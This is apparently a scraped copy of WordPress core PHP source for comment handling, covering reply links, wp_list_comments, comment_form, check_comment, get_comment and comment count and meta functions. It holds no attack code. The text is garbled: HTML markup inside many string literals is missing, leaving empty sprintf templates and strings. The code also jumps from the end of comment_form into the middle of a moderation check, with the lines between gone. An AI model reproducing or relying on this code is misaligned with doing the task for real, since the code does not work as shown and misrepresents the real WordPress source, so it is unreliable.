)', $args['add_below'], $post->ID, $args['respond_id'] ); $link = sprintf( "%s", get_permalink( $post->ID ) . '#' . $args['respond_id'], $onclick, $args['reply_text'] ); } $formatted_link = $args['before'] . $link . $args['after']; /** * Filters the formatted post comments link HTML. * * @since 2.7.0 * * @param string $formatted The HTML-formatted post comments link. * @param int|WP_Post $post The post ID or WP_Post object. */ return apply_filters( 'post_comments_link', $formatted_link, $post ); } /** * Displays the HTML content for reply to post link. * * @since 2.7.0 * * @see get_post_reply_link() * * @param array $args Optional. Override default options. Default empty array. * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on. * Default current post. */ function post_reply_link( $args = array(), $post = null ) { echo get_post_reply_link( $args, $post ); } /** * Retrieves HTML content for cancel comment reply link. * * @since 2.7.0 * * @param string $text Optional. Text to display for cancel reply link. If empty, * defaults to 'Click here to cancel reply'. Default empty. * @return string */ function get_cancel_comment_reply_link( $text = '' ) { if ( empty( $text ) ) { $text = __( 'Click here to cancel reply.' ); } $style = isset( $_GET['replytocom'] ) ? '' : ' style="display:none;"'; $link = esc_html( remove_query_arg( array( 'replytocom', 'unapproved', 'moderation-hash' ) ) ) . '#respond'; $formatted_link = '' . $text . ''; /** * Filters the cancel comment reply link HTML. * * @since 2.7.0 * * @param string $formatted_link The HTML-formatted cancel comment reply link. * @param string $link Cancel comment reply link URL. * @param string $text Cancel comment reply link text. */ return apply_filters( 'cancel_comment_reply_link', $formatted_link, $link, $text ); } /** * Displays HTML content for cancel comment reply link. * * @since 2.7.0 * * @param string $text Optional. Text to display for cancel reply link. If empty, * defaults to 'Click here to cancel reply'. Default empty. */ function cancel_comment_reply_link( $text = '' ) { echo get_cancel_comment_reply_link( $text ); } /** * Retrieves hidden input HTML for replying to comments. * * @since 3.0.0 * * @param int $post_id Optional. Post ID. Defaults to the current post ID. * @return string Hidden input HTML for replying to comments. */ function get_comment_id_fields( $post_id = 0 ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $reply_to_id = isset( $_GET['replytocom'] ) ? (int) $_GET['replytocom'] : 0; $result = "\n"; $result .= "\n"; /** * Filters the returned comment ID fields. * * @since 3.0.0 * * @param string $result The HTML-formatted hidden ID field comment elements. * @param int $post_id The post ID. * @param int $reply_to_id The ID of the comment being replied to. */ return apply_filters( 'comment_id_fields', $result, $post_id, $reply_to_id ); } /** * Outputs hidden input HTML for replying to comments. * * Adds two hidden inputs to the comment form to identify the `comment_post_ID` * and `comment_parent` values for threaded comments. * * This tag must be within the `
    ` section of the `comments.php` template. * * @since 2.7.0 * * @see get_comment_id_fields() * * @param int $post_id Optional. Post ID. Defaults to the current post ID. */ function comment_id_fields( $post_id = 0 ) { echo get_comment_id_fields( $post_id ); } /** * Displays text based on comment reply status. * * Only affects users with JavaScript disabled. * * @internal The $comment global must be present to allow template tags access to the current * comment. See https://core.trac.wordpress.org/changeset/36512. * * @since 2.7.0 * * @global WP_Comment $comment Global comment object. * * @param string|false $no_reply_text Optional. Text to display when not replying to a comment. * Default false. * @param string|false $reply_text Optional. Text to display when replying to a comment. * Default false. Accepts "%s" for the author of the comment * being replied to. * @param bool $link_to_parent Optional. Boolean to control making the author's name a link * to their comment. Default true. */ function comment_form_title( $no_reply_text = false, $reply_text = false, $link_to_parent = true ) { global $comment; if ( false === $no_reply_text ) { $no_reply_text = __( 'Leave a Reply' ); } if ( false === $reply_text ) { /* translators: %s: Author of the comment being replied to. */ $reply_text = __( 'Leave a Reply to %s' ); } $reply_to_id = isset( $_GET['replytocom'] ) ? (int) $_GET['replytocom'] : 0; if ( 0 == $reply_to_id ) { echo $no_reply_text; } else { // Sets the global so that template tags can be used in the comment form. $comment = get_comment( $reply_to_id ); if ( $link_to_parent ) { $author = '' . get_comment_author( $comment ) . ''; } else { $author = get_comment_author( $comment ); } printf( $reply_text, $author ); } } /** * Displays a list of comments. * * Used in the comments.php template to list comments for a particular post. * * @since 2.7.0 * * @see WP_Query->comments * * @global WP_Query $wp_query WordPress Query object. * @global int $comment_alt * @global int $comment_depth * @global int $comment_thread_alt * @global bool $overridden_cpage * @global bool $in_comment_loop * * @param string|array $args { * Optional. Formatting options. * * @type object $walker Instance of a Walker class to list comments. Default null. * @type int $max_depth The maximum comments depth. Default empty. * @type string $style The style of list ordering. Accepts 'ul', 'ol', or 'div'. * 'div' will result in no additional list markup. Default 'ul'. * @type callable $callback Callback function to use. Default null. * @type callable $end-callback Callback function to use at the end. Default null. * @type string $type Type of comments to list. Accepts 'all', 'comment', * 'pingback', 'trackback', 'pings'. Default 'all'. * @type int $page Page ID to list comments for. Default empty. * @type int $per_page Number of comments to list per page. Default empty. * @type int $avatar_size Height and width dimensions of the avatar size. Default 32. * @type bool $reverse_top_level Ordering of the listed comments. If true, will display * newest comments first. Default null. * @type bool $reverse_children Whether to reverse child comments in the list. Default null. * @type string $format How to format the comments list. Accepts 'html5', 'xhtml'. * Default 'html5' if the theme supports it. * @type bool $short_ping Whether to output short pings. Default false. * @type bool $echo Whether to echo the output or return it. Default true. * } * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. * @return void|string Void if 'echo' argument is true, or no comments to list. * Otherwise, HTML list of comments. */ function wp_list_comments( $args = array(), $comments = null ) { global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop; $in_comment_loop = true; $comment_alt = 0; $comment_thread_alt = 0; $comment_depth = 1; $defaults = array( 'walker' => null, 'max_depth' => '', 'style' => 'ul', 'callback' => null, 'end-callback' => null, 'type' => 'all', 'page' => '', 'per_page' => '', 'avatar_size' => 32, 'reverse_top_level' => null, 'reverse_children' => '', 'format' => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml', 'short_ping' => false, 'echo' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); /** * Filters the arguments used in retrieving the comment list. * * @since 4.0.0 * * @see wp_list_comments() * * @param array $parsed_args An array of arguments for displaying comments. */ $parsed_args = apply_filters( 'wp_list_comments_args', $parsed_args ); // Figure out what comments we'll be looping through ($_comments). if ( null !== $comments ) { $comments = (array) $comments; if ( empty( $comments ) ) { return; } if ( 'all' !== $parsed_args['type'] ) { $comments_by_type = separate_comments( $comments ); if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $comments; } } else { /* * If 'page' or 'per_page' has been passed, and does not match what's in $wp_query, * perform a separate comment query and allow Walker_Comment to paginate. */ if ( $parsed_args['page'] || $parsed_args['per_page'] ) { $current_cpage = get_query_var( 'cpage' ); if ( ! $current_cpage ) { $current_cpage = 'newest' === get_option( 'default_comments_page' ) ? 1 : $wp_query->max_num_comment_pages; } $current_per_page = get_query_var( 'comments_per_page' ); if ( $parsed_args['page'] != $current_cpage || $parsed_args['per_page'] != $current_per_page ) { $comment_args = array( 'post_id' => get_the_ID(), 'orderby' => 'comment_date_gmt', 'order' => 'ASC', 'status' => 'approve', ); if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] = array( $unapproved_email ); } } $comments = get_comments( $comment_args ); if ( 'all' !== $parsed_args['type'] ) { $comments_by_type = separate_comments( $comments ); if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $comments; } } // Otherwise, fall back on the comments from `$wp_query->comments`. } else { if ( empty( $wp_query->comments ) ) { return; } if ( 'all' !== $parsed_args['type'] ) { if ( empty( $wp_query->comments_by_type ) ) { $wp_query->comments_by_type = separate_comments( $wp_query->comments ); } if ( empty( $wp_query->comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $wp_query->comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $wp_query->comments; } if ( $wp_query->max_num_comment_pages ) { $default_comments_page = get_option( 'default_comments_page' ); $cpage = get_query_var( 'cpage' ); if ( 'newest' === $default_comments_page ) { $parsed_args['cpage'] = $cpage; /* * When first page shows oldest comments, post permalink is the same as * the comment permalink. */ } elseif ( 1 == $cpage ) { $parsed_args['cpage'] = ''; } else { $parsed_args['cpage'] = $cpage; } $parsed_args['page'] = 0; $parsed_args['per_page'] = 0; } } } if ( '' === $parsed_args['per_page'] && get_option( 'page_comments' ) ) { $parsed_args['per_page'] = get_query_var( 'comments_per_page' ); } if ( empty( $parsed_args['per_page'] ) ) { $parsed_args['per_page'] = 0; $parsed_args['page'] = 0; } if ( '' === $parsed_args['max_depth'] ) { if ( get_option( 'thread_comments' ) ) { $parsed_args['max_depth'] = get_option( 'thread_comments_depth' ); } else { $parsed_args['max_depth'] = -1; } } if ( '' === $parsed_args['page'] ) { if ( empty( $overridden_cpage ) ) { $parsed_args['page'] = get_query_var( 'cpage' ); } else { $threaded = ( -1 != $parsed_args['max_depth'] ); $parsed_args['page'] = ( 'newest' === get_option( 'default_comments_page' ) ) ? get_comment_pages_count( $_comments, $parsed_args['per_page'], $threaded ) : 1; set_query_var( 'cpage', $parsed_args['page'] ); } } // Validation check. $parsed_args['page'] = (int) $parsed_args['page']; if ( 0 == $parsed_args['page'] && 0 != $parsed_args['per_page'] ) { $parsed_args['page'] = 1; } if ( null === $parsed_args['reverse_top_level'] ) { $parsed_args['reverse_top_level'] = ( 'desc' === get_option( 'comment_order' ) ); } wp_queue_comments_for_comment_meta_lazyload( $_comments ); if ( empty( $parsed_args['walker'] ) ) { $walker = new Walker_Comment; } else { $walker = $parsed_args['walker']; } $output = $walker->paged_walk( $_comments, $parsed_args['max_depth'], $parsed_args['page'], $parsed_args['per_page'], $parsed_args ); $in_comment_loop = false; if ( $parsed_args['echo'] ) { echo $output; } else { return $output; } } /** * Outputs a complete commenting form for use within a template. * * Most strings and form fields may be controlled through the `$args` array passed * into the function, while you may also choose to use the {@see 'comment_form_default_fields'} * filter to modify the array of default fields if you'd just like to add a new * one or remove a single field. All fields are also individually passed through * a filter of the {@see 'comment_form_field_$name'} where `$name` is the key used * in the array of fields. * * @since 3.0.0 * @since 4.1.0 Introduced the 'class_submit' argument. * @since 4.2.0 Introduced the 'submit_button' and 'submit_fields' arguments. * @since 4.4.0 Introduced the 'class_form', 'title_reply_before', 'title_reply_after', * 'cancel_reply_before', and 'cancel_reply_after' arguments. * @since 4.5.0 The 'author', 'email', and 'url' form fields are limited to 245, 100, * and 200 characters, respectively. * @since 4.6.0 Introduced the 'action' argument. * @since 4.9.6 Introduced the 'cookies' default comment field. * @since 5.5.0 Introduced the 'class_container' argument. * * @param array $args { * Optional. Default arguments and form fields to override. * * @type array $fields { * Default comment fields, filterable by default via the {@see 'comment_form_default_fields'} hook. * * @type string $author Comment author field HTML. * @type string $email Comment author email field HTML. * @type string $url Comment author URL field HTML. * @type string $cookies Comment cookie opt-in field HTML. * } * @type string $comment_field The comment textarea field HTML. * @type string $must_log_in HTML element for a 'must be logged in to comment' message. * @type string $logged_in_as HTML element for a 'logged in as [user]' message. * @type string $comment_notes_before HTML element for a message displayed before the comment fields * if the user is not logged in. * Default 'Your email address will not be published.'. * @type string $comment_notes_after HTML element for a message displayed after the textarea field. * @type string $action The comment form element action attribute. Default '/wp-comments-post.php'. * @type string $id_form The comment form element id attribute. Default 'commentform'. * @type string $id_submit The comment submit element id attribute. Default 'submit'. * @type string $class_container The comment form container class attribute. Default 'comment-respond'. * @type string $class_form The comment form element class attribute. Default 'comment-form'. * @type string $class_submit The comment submit element class attribute. Default 'submit'. * @type string $name_submit The comment submit element name attribute. Default 'submit'. * @type string $title_reply The translatable 'reply' button label. Default 'Leave a Reply'. * @type string $title_reply_to The translatable 'reply-to' button label. Default 'Leave a Reply to %s', * where %s is the author of the comment being replied to. * @type string $title_reply_before HTML displayed before the comment form title. * Default: '

    '. * @type string $title_reply_after HTML displayed after the comment form title. * Default: '

    '. * @type string $cancel_reply_before HTML displayed before the cancel reply link. * @type string $cancel_reply_after HTML displayed after the cancel reply link. * @type string $cancel_reply_link The translatable 'cancel reply' button label. Default 'Cancel reply'. * @type string $label_submit The translatable 'submit' button label. Default 'Post a comment'. * @type string $submit_button HTML format for the Submit button. * Default: ''. * @type string $submit_field HTML format for the markup surrounding the Submit button and comment hidden * fields. Default: '

    %1$s %2$s

    ', where %1$s is the * submit button markup and %2$s is the comment hidden fields. * @type string $format The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'. * } * @param int|WP_Post $post_id Post ID or WP_Post object to generate the form for. Default current post. */ function comment_form( $args = array(), $post_id = null ) { if ( null === $post_id ) { $post_id = get_the_ID(); } // Exit the function when comments for the post are closed. if ( ! comments_open( $post_id ) ) { /** * Fires after the comment form if comments are closed. * * @since 3.0.0 */ do_action( 'comment_form_comments_closed' ); return; } $commenter = wp_get_current_commenter(); $user = wp_get_current_user(); $user_identity = $user->exists() ? $user->display_name : ''; $args = wp_parse_args( $args ); if ( ! isset( $args['format'] ) ) { $args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml'; } $req = get_option( 'require_name_email' ); $html_req = ( $req ? " required='required'" : '' ); $html5 = 'html5' === $args['format']; $fields = array( 'author' => sprintf( '

    %s %s

    ', sprintf( '', __( 'Name' ), ( $req ? ' *' : '' ) ), sprintf( '', esc_attr( $commenter['comment_author'] ), $html_req ) ), 'email' => sprintf( '', sprintf( '', __( 'Email' ), ( $req ? ' *' : '' ) ), sprintf( '', ( $html5 ? 'type="email"' : 'type="text"' ), esc_attr( $commenter['comment_author_email'] ), $html_req ) ), 'url' => sprintf( '

    %s %s

    ', sprintf( '', __( 'Website' ) ), sprintf( '', ( $html5 ? 'type="url"' : 'type="text"' ), esc_attr( $commenter['comment_author_url'] ) ) ), ); if ( has_action( 'set_comment_cookies', 'wp_set_comment_cookies' ) && get_option( 'show_comments_cookies_opt_in' ) ) { $consent = empty( $commenter['comment_author_email'] ) ? '' : ' checked="checked"'; $fields['cookies'] = sprintf( '', sprintf( '', $consent ), sprintf( '', __( 'Save my name, email, and website in this browser for the next time I comment.' ) ) ); // Ensure that the passed fields include cookies consent. if ( isset( $args['fields'] ) && ! isset( $args['fields']['cookies'] ) ) { $args['fields']['cookies'] = $fields['cookies']; } } $required_text = sprintf( /* translators: %s: Asterisk symbol (*). */ ' ' . __( 'Required fields are marked %s' ), '*' ); /** * Filters the default comment form fields. * * @since 3.0.0 * * @param string[] $fields Array of the default comment fields. */ $fields = apply_filters( 'comment_form_default_fields', $fields ); $defaults = array( 'fields' => $fields, 'comment_field' => sprintf( '

    %s %s

    ', sprintf( '', _x( 'Comment', 'noun' ) ), '' ), 'must_log_in' => sprintf( '', sprintf( /* translators: %s: Login URL. */ __( 'You must be logged in to post a comment.' ), /** This filter is documented in wp-includes/link-template.php */ wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) ) ) ), 'logged_in_as' => sprintf( '

    %s

    ', sprintf( /* translators: 1: Edit user link, 2: Accessibility text, 3: User name, 4: Logout URL. */ __( 'Logged in as %3$s. Log out?' ), get_edit_user_link(), /* translators: %s: User name. */ esc_attr( sprintf( __( 'Logged in as %s. Edit your profile.' ), $user_identity ) ), $user_identity, /** This filter is documented in wp-includes/link-template.php */ wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) ) ) ), 'comment_notes_before' => sprintf( '

    %s%s

    ', sprintf( '%s', __( 'Your email address will not be published.' ) ), ( $req ? $required_text : '' ) ), 'comment_notes_after' => '', 'action' => site_url( '/wp-comments-post.php' ), 'id_form' => 'commentform', 'id_submit' => 'submit', 'class_container' => 'comment-respond', 'class_form' => 'comment-form', 'class_submit' => 'submit', 'name_submit' => 'submit', 'title_reply' => __( 'Leave a Reply' ), /* translators: %s: Author of the comment being replied to. */ 'title_reply_to' => __( 'Leave a Reply to %s' ), 'title_reply_before' => '

    ', 'title_reply_after' => '

    ', 'cancel_reply_before' => ' ', 'cancel_reply_after' => '', 'cancel_reply_link' => __( 'Cancel reply' ), 'label_submit' => __( 'Post Comment' ), 'submit_button' => '', 'submit_field' => '

    %1$s %2$s

    ', 'format' => 'xhtml', ); /** * Filters the comment form default arguments. * * Use {@see 'comment_form_default_fields'} to filter the comment fields. * * @since 3.0.0 * * @param array $defaults The default comment form arguments. */ $args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) ); // Ensure that the filtered arguments contain all required default values. $args = array_merge( $defaults, $args ); // Remove `aria-describedby` from the email field if there's no associated description. if ( isset( $args['fields']['email'] ) && false === strpos( $args['comment_notes_before'], 'id="email-notes"' ) ) { $args['fields']['email'] = str_replace( ' aria-describedby="email-notes"', '', $args['fields']['email'] ); } /** * Fires before the comment form. * * @since 3.0.0 */ do_action( 'comment_form_before' ); ?>
    ', esc_url( $args['action'] ), esc_attr( $args['id_form'] ), esc_attr( $args['class_form'] ), ( $html5 ? ' novalidate' : '' ) ); /** * Fires at the top of the comment form, inside the form tag. * * @since 3.0.0 */ do_action( 'comment_form_top' ); if ( is_user_logged_in() ) : /** * Filters the 'logged in' message for the comment form for display. * * @since 3.0.0 * * @param string $args_logged_in The logged-in-as HTML-formatted message. * @param array $commenter An array containing the comment author's * username, email, and URL. * @param string $user_identity If the commenter is a registered user, * the display name, blank otherwise. */ echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity ); /** * Fires after the is_user_logged_in() check in the comment form. * * @since 3.0.0 * * @param array $commenter An array containing the comment author's * username, email, and URL. * @param string $user_identity If the commenter is a registered user, * the display name, blank otherwise. */ do_action( 'comment_form_logged_in_after', $commenter, $user_identity ); else : echo $args['comment_notes_before']; endif; // Prepare an array of all fields, including the textarea. $comment_fields = array( 'comment' => $args['comment_field'] ) + (array) $args['fields']; /** * Filters the comment form fields, including the textarea. * * @since 4.4.0 * * @param array $comment_fields The comment fields. */ $comment_fields = apply_filters( 'comment_form_fields', $comment_fields ); // Get an array of field names, excluding the textarea. $comment_field_keys = array_diff( array_keys( $comment_fields ), array( 'comment' ) ); // Get the first and the last field name, excluding the textarea. $first_field = reset( $comment_field_keys ); $last_field = end( $comment_field_keys ); foreach ( $comment_fields as $name => $field ) { if ( 'comment' === $name ) { /** * Filters the content of the comment textarea field for display. * * @since 3.0.0 * * @param string $args_comment_field The content of the comment textarea field. */ echo apply_filters( 'comment_form_field_comment', $field ); echo $args['comment_notes_after']; } elseif ( ! is_user_logged_in() ) { if ( $first_field === $name ) { /** * Fires before the comment fields in the comment form, excluding the textarea. * * @since 3.0.0 */ do_action( 'comment_form_before_fields' ); } /** * Filters a comment form field for display. * * The dynamic portion of the filter hook, `$name`, refers to the name * of the comment form field. Such as 'author', 'email', or 'url'. * * @since 3.0.0 * * @param string $field The HTML-formatted output of the comment form field. */ echo apply_filters( "comment_form_field_{$name}", $field ) . "\n"; if ( $last_field === $name ) { /** * Fires after the comment fields in the comment form, excluding the textarea. * * @since 3.0.0 */ do_action( 'comment_form_after_fields' ); } } } $submit_button = sprintf( $args['submit_button'], esc_attr( $args['name_submit'] ), esc_attr( $args['id_submit'] ), esc_attr( $args['class_submit'] ), esc_attr( $args['label_submit'] ) ); /** * Filters the submit button for the comment form to display. * * @since 4.2.0 * * @param string $submit_button HTML markup for the submit button. * @param array $args Arguments passed to comment_form(). */ $submit_button = apply_filters( 'comment_form_submit_button', $submit_button, $args ); $submit_field = sprintf( $args['submit_field'], $submit_button, get_comment_id_fields( $post_id ) ); /** * Filters the submit field for the comment form to display. * * The submit field includes the submit button, hidden fields for the * comment form, and any wrapper markup. * * @since 4.2.0 * * @param string $submit_field HTML markup for the submit field. * @param array $args Arguments passed to comment_form(). */ echo apply_filters( 'comment_form_submit_field', $submit_field, $args ); /** * Fires at the bottom of the comment form, inside the closing form tag. * * @since 1.5.0 * * @param int $post_id The post ID. */ do_action( 'comment_form', $post_id ); echo ''; endif; ?>
    ]*href/i', $comment, $out ); /** * Filters the number of links found in a comment. * * @since 3.0.0 * @since 4.7.0 Added the `$comment` parameter. * * @param int $num_links The number of links found. * @param string $url Comment author's URL. Included in allowed links total. * @param string $comment Content of the comment. */ $num_links = apply_filters( 'comment_max_links_url', $num_links, $url, $comment ); /* * If the number of links in the comment exceeds the allowed amount, * fail the check by returning false. */ if ( $num_links >= $max_links ) { return false; } } $mod_keys = trim( get_option( 'moderation_keys' ) ); // If moderation 'keys' (keywords) are set, process them. if ( ! empty( $mod_keys ) ) { $words = explode( "\n", $mod_keys ); foreach ( (array) $words as $word ) { $word = trim( $word ); // Skip empty lines. if ( empty( $word ) ) { continue; } /* * Do some escaping magic so that '#' (number of) characters in the spam * words don't break things: */ $word = preg_quote( $word, '#' ); /* * Check the comment fields for moderation keywords. If any are found, * fail the check for the given field by returning false. */ $pattern = "#$word#i"; if ( preg_match( $pattern, $author ) ) { return false; } if ( preg_match( $pattern, $email ) ) { return false; } if ( preg_match( $pattern, $url ) ) { return false; } if ( preg_match( $pattern, $comment ) ) { return false; } if ( preg_match( $pattern, $user_ip ) ) { return false; } if ( preg_match( $pattern, $user_agent ) ) { return false; } } } /* * Check if the option to approve comments by previously-approved authors is enabled. * * If it is enabled, check whether the comment author has a previously-approved comment, * as well as whether there are any moderation keywords (if set) present in the author * email address. If both checks pass, return true. Otherwise, return false. */ if ( 1 == get_option( 'comment_previously_approved' ) ) { if ( 'trackback' !== $comment_type && 'pingback' !== $comment_type && '' !== $author && '' !== $email ) { $comment_user = get_user_by( 'email', wp_unslash( $email ) ); if ( ! empty( $comment_user->ID ) ) { $ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE user_id = %d AND comment_approved = '1' LIMIT 1", $comment_user->ID ) ); } else { // expected_slashed ($author, $email) $ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE comment_author = %s AND comment_author_email = %s and comment_approved = '1' LIMIT 1", $author, $email ) ); } if ( ( 1 == $ok_to_comment ) && ( empty( $mod_keys ) || false === strpos( $email, $mod_keys ) ) ) { return true; } else { return false; } } else { return false; } } return true; } /** * Retrieve the approved comments for post $post_id. * * @since 2.0.0 * @since 4.1.0 Refactored to leverage WP_Comment_Query over a direct query. * * @param int $post_id The ID of the post. * @param array $args Optional. See WP_Comment_Query::__construct() for information on accepted arguments. * @return int|array The approved comments, or number of comments if `$count` * argument is true. */ function get_approved_comments( $post_id, $args = array() ) { if ( ! $post_id ) { return array(); } $defaults = array( 'status' => 1, 'post_id' => $post_id, 'order' => 'ASC', ); $parsed_args = wp_parse_args( $args, $defaults ); $query = new WP_Comment_Query; return $query->query( $parsed_args ); } /** * Retrieves comment data given a comment ID or comment object. * * If an object is passed then the comment data will be cached and then returned * after being passed through a filter. If the comment is empty, then the global * comment variable will be used, if it is set. * * @since 2.0.0 * * @global WP_Comment $comment Global comment object. * * @param WP_Comment|string|int $comment Comment to retrieve. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Comment object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Comment|array|null Depends on $output value. */ function get_comment( $comment = null, $output = OBJECT ) { if ( empty( $comment ) && isset( $GLOBALS['comment'] ) ) { $comment = $GLOBALS['comment']; } if ( $comment instanceof WP_Comment ) { $_comment = $comment; } elseif ( is_object( $comment ) ) { $_comment = new WP_Comment( $comment ); } else { $_comment = WP_Comment::get_instance( $comment ); } if ( ! $_comment ) { return null; } /** * Fires after a comment is retrieved. * * @since 2.3.0 * * @param WP_Comment $_comment Comment data. */ $_comment = apply_filters( 'get_comment', $_comment ); if ( OBJECT == $output ) { return $_comment; } elseif ( ARRAY_A == $output ) { return $_comment->to_array(); } elseif ( ARRAY_N == $output ) { return array_values( $_comment->to_array() ); } return $_comment; } /** * Retrieve a list of comments. * * The comment list can be for the blog as a whole or for an individual post. * * @since 2.7.0 * * @param string|array $args Optional. Array or string of arguments. See WP_Comment_Query::__construct() * for information on accepted arguments. Default empty. * @return int|array List of comments or number of found comments if `$count` argument is true. */ function get_comments( $args = '' ) { $query = new WP_Comment_Query; return $query->query( $args ); } /** * Retrieve all of the WordPress supported comment statuses. * * Comments have a limited set of valid status values, this provides the comment * status values and descriptions. * * @since 2.7.0 * * @return string[] List of comment status labels keyed by status. */ function get_comment_statuses() { $status = array( 'hold' => __( 'Unapproved' ), 'approve' => _x( 'Approved', 'comment status' ), 'spam' => _x( 'Spam', 'comment status' ), 'trash' => _x( 'Trash', 'comment status' ), ); return $status; } /** * Gets the default comment status for a post type. * * @since 4.3.0 * * @param string $post_type Optional. Post type. Default 'post'. * @param string $comment_type Optional. Comment type. Default 'comment'. * @return string Expected return value is 'open' or 'closed'. */ function get_default_comment_status( $post_type = 'post', $comment_type = 'comment' ) { switch ( $comment_type ) { case 'pingback': case 'trackback': $supports = 'trackbacks'; $option = 'ping'; break; default: $supports = 'comments'; $option = 'comment'; break; } // Set the status. if ( 'page' === $post_type ) { $status = 'closed'; } elseif ( post_type_supports( $post_type, $supports ) ) { $status = get_option( "default_{$option}_status" ); } else { $status = 'closed'; } /** * Filters the default comment status for the given post type. * * @since 4.3.0 * * @param string $status Default status for the given post type, * either 'open' or 'closed'. * @param string $post_type Post type. Default is `post`. * @param string $comment_type Type of comment. Default is `comment`. */ return apply_filters( 'get_default_comment_status', $status, $post_type, $comment_type ); } /** * The date the last comment was modified. * * @since 1.5.0 * @since 4.7.0 Replaced caching the modified date in a local static variable * with the Object Cache API. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', or 'server' locations. * @return string|false Last comment modified date on success, false on failure. */ function get_lastcommentmodified( $timezone = 'server' ) { global $wpdb; $timezone = strtolower( $timezone ); $key = "lastcommentmodified:$timezone"; $comment_modified_date = wp_cache_get( $key, 'timeinfo' ); if ( false !== $comment_modified_date ) { return $comment_modified_date; } switch ( $timezone ) { case 'gmt': $comment_modified_date = $wpdb->get_var( "SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" ); break; case 'blog': $comment_modified_date = $wpdb->get_var( "SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" ); break; case 'server': $add_seconds_server = gmdate( 'Z' ); $comment_modified_date = $wpdb->get_var( $wpdb->prepare( "SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server ) ); break; } if ( $comment_modified_date ) { wp_cache_set( $key, $comment_modified_date, 'timeinfo' ); return $comment_modified_date; } return false; } /** * Retrieves the total comment counts for the whole site or a single post. * * Unlike wp_count_comments(), this function always returns the live comment counts without caching. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that * comment counts for the whole site will be retrieved. * @return array() { * The number of comments keyed by their status. * * @type int $approved The number of approved comments. * @type int $awaiting_moderation The number of comments awaiting moderation (a.k.a. pending). * @type int $spam The number of spam comments. * @type int $trash The number of trashed comments. * @type int $post-trashed The number of comments for posts that are in the trash. * @type int $total_comments The total number of non-trashed comments, including spam. * @type int $all The total number of pending or approved comments. * } */ function get_comment_count( $post_id = 0 ) { global $wpdb; $post_id = (int) $post_id; $where = ''; if ( $post_id > 0 ) { $where = $wpdb->prepare( 'WHERE comment_post_ID = %d', $post_id ); } $totals = (array) $wpdb->get_results( " SELECT comment_approved, COUNT( * ) AS total FROM {$wpdb->comments} {$where} GROUP BY comment_approved ", ARRAY_A ); $comment_count = array( 'approved' => 0, 'awaiting_moderation' => 0, 'spam' => 0, 'trash' => 0, 'post-trashed' => 0, 'total_comments' => 0, 'all' => 0, ); foreach ( $totals as $row ) { switch ( $row['comment_approved'] ) { case 'trash': $comment_count['trash'] = $row['total']; break; case 'post-trashed': $comment_count['post-trashed'] = $row['total']; break; case 'spam': $comment_count['spam'] = $row['total']; $comment_count['total_comments'] += $row['total']; break; case '1': $comment_count['approved'] = $row['total']; $comment_count['total_comments'] += $row['total']; $comment_count['all'] += $row['total']; break; case '0': $comment_count['awaiting_moderation'] = $row['total']; $comment_count['total_comments'] += $row['total']; $comment_count['all'] += $row['total']; break; default: break; } } return array_map( 'intval', $comment_count ); } // // Comment meta functions. // /** * Add meta data field to a comment. * * @since 2.9.0 * * @link https://developer.wordpress.org/reference/functions/add_comment_meta/ * * @param int $comment_id Comment ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false Meta ID on success, false on failure. */ function add_comment_meta( $comment_id, $meta_key, $meta_value, $unique = false ) { return add_metadata( 'comment', $comment_id, $meta_key, $meta_value, $unique ); } /** * Remove metadata matching criteria from a comment. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @since 2.9.0 * * @link https://developer.wordpress.org/reference/functions/delete_comment_meta/ * * @param int $comment_id Comment ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. */ function delete_comment_meta( $comment_id, $meta_key, $meta_value = '' ) { return delete_metadata( 'comment', $comment_id, $meta_key, $meta_value ); } /** * Retrieve comment meta field for a comment. * * @since 2.9.0 * * @link https://developer.wordpress.org/reference/functions/get_comment_meta/ * * @param int $comment_id Comment ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. * @param bool $single Optional. Whether to return a single value. * This parameter 